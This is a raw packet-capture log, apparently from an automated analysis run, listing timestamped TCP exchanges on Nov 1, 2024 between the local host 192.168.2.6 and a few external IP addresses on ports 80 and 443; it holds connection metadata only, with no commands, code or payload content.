Nov 1, 2024 03:46:15.168159008 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.168159962 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.168173075 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.168180943 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.168188095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.168203115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.168237925 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.169003010 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169015884 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169027090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169038057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169048071 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169058084 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.169059038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169074059 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169085026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169084072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.169096947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169101000 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.169109106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169120073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169130087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169138908 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.169174910 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.169892073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169903994 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169914007 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169925928 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169938087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169941902 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.169949055 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.169960976 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.169984102 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.207268953 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.207308054 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.207325935 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.207382917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.207417011 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.207532883 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.207544088 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.207587957 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.214266062 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214318037 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214319944 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.214328051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214366913 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.214446068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214457989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214468956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214493990 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.214518070 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.214672089 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214709044 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214715958 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.214735985 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214755058 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.214756012 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.214782000 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.214804888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.232479095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.232527971 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.232639074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.232662916 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.232683897 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.232701063 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.232784986 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.232795954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.232806921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.232816935 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.232846022 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.232872963 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.233285904 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.233297110 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.233308077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.233319044 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.233330965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.233336926 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.233342886 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.233354092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.233366966 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.233371019 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.233395100 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.233414888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.234194040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.234205961 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.234215975 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.234227896 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.234240055 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.234250069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.234251976 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.234257936 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.234285116 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.234311104 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.242782116 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.242834091 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.242907047 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.242918968 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.242954969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.243058920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.243074894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.243119955 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.243237019 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.243247986 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.243287086 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.245538950 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.245587111 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.245611906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.245624065 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.245663881 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.245803118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.245812893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.245852947 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.245990038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246001959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246041059 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.246217012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246227980 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246238947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246251106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246264935 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246265888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.246289968 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.246305943 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.246654987 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246666908 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246676922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246689081 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.246709108 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.246742010 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.247020960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.247033119 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.247042894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.247075081 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.247097969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.275809050 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.275902987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.275965929 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.275975943 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.276020050 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.276024103 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.276036024 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.276046991 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.276061058 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.276084900 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.277549028 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.277559996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.277570009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.277601957 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.277620077 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.283073902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283130884 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.283199072 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283210039 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283250093 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.283425093 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283436060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283478975 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.283571959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283592939 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283603907 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283617020 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283627987 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.283629894 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.283658028 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.283674955 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.284096003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284107924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284118891 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284146070 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.284149885 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284162998 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284179926 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.284220934 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.284615993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284626007 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284636021 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284647942 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284660101 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284670115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.284678936 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.284693956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.284717083 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.285119057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285129070 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285137892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285150051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285161018 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285170078 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.285173893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285191059 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.285213947 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.285692930 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285703897 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285713911 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285726070 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285737038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285748005 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.285748959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285761118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285768032 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.285775900 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285789967 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285797119 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.285799980 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.285828114 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.285851955 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.286606073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.286617994 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.286647081 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.286654949 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.286658049 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.286669970 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.286680937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.286689043 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:15.286695004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:15.286734104 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:17.594983101 CET	58523	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:17.595491886 CET	58525	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:17.600604057 CET	80	58525	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:17.600646973 CET	80	58523	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:17.600688934 CET	58525	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:17.600723028 CET	58523	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:17.636054993 CET	58525	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:17.641921997 CET	80	58525	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:18.355283976 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:18.355305910 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:18.355402946 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:18.356528044 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:18.356539965 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:18.513044119 CET	80	58525	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:18.513134003 CET	58525	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:18.516984940 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:18.517308950 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:18.523010015 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:18.523099899 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:18.523200989 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:18.523291111 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:18.523339987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:18.527995110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:18.976447105 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:18.976557016 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:18.979487896 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:18.979495049 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:18.979728937 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:19.023669004 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:19.059216022 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:19.059231997 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:19.059308052 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:19.429996967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430052042 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.430059910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430075884 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430107117 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.430120945 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.430270910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430285931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430300951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430305004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.430314064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430322886 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.430341005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.430361986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.430550098 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430563927 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430576086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.430593967 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.430608034 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.434906006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.434952021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.434969902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.434993982 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.435101032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.435123920 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.435142040 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.435161114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.519201040 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:19.519295931 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:19.519402981 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:19.519896984 CET	58526	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:19.519911051 CET	443	58526	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:19.572494030 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:19.572525978 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:19.572597980 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:19.572937965 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:19.572952032 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:19.584826946 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.584966898 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.584983110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.584990978 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585084915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585112095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585189104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585289955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585300922 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585311890 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585357904 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585417986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585442066 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585453033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585481882 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585495949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585623026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585665941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585794926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585807085 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.585832119 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.585850954 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.592962027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.593014002 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.593033075 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.593050003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.702461958 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.702511072 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.702522993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.702550888 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.702590942 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.702703953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.702716112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.702727079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.702739954 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.702750921 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.702776909 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.703066111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.703102112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.703161955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.703202963 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.703366041 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.703411102 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.703443050 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.703486919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.736824989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.736838102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.736946106 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.737128019 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.737163067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.737180948 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.737200975 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.820780039 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.820795059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.820872068 CET	58527	80	192.168.2.6	185.215.113.16
